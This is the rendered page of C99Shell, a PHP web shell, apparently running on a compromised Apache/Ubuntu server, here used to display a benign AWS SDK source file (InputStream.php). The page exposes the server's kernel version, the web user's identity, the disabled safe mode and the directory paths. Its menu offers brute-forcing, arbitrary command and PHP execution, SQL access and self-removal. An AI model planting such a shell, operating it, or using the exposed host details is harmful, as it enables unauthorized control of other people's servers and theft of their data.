!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/aws/aws-crt-php/src/AWS/CRT/IO/   drwxr-xr-x
Free 12.94 GB of 57.97 GB (22.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     InputStream.php (1.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
 * SPDX-License-Identifier: Apache-2.0.
 */
namespace AWS\CRT\IO;

use 
AWS\CRT\NativeResource as NativeResource;

final class 
InputStream extends NativeResource {
    private 
$stream null;

    const 
SEEK_BEGIN 0;
    const 
SEEK_END 2;

    public function 
__construct($stream) {
        
$this->stream $stream;
        
$options self::$crt->input_stream_options_new();
        
// The stream implementation in native just converts the PHP stream into
        // a native php_stream* and executes operations entirely in native
        
self::$crt->input_stream_options_set_user_data($options$stream);
        
$this->acquire(self::$crt->input_stream_new($options));
        
self::$crt->input_stream_options_release($options);
    }

    public function 
__destruct() {
        
self::$crt->input_stream_release($this->release());
        
parent::__destruct();
    }

    public function 
eof() {
        return 
self::$crt->input_stream_eof($this->native);
    }

    public function 
length() {
        return 
self::$crt->input_stream_get_length($this->native);
    }

    public function 
read($length 0) {
        if (
$length == 0) {
            
$length $this->length();
        }
        return 
self::$crt->input_stream_read($this->native$length);
    }

    public function 
seek($offset$basis) {
        return 
self::$crt->input_stream_seek($this->native$offset$basis);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0208 ]--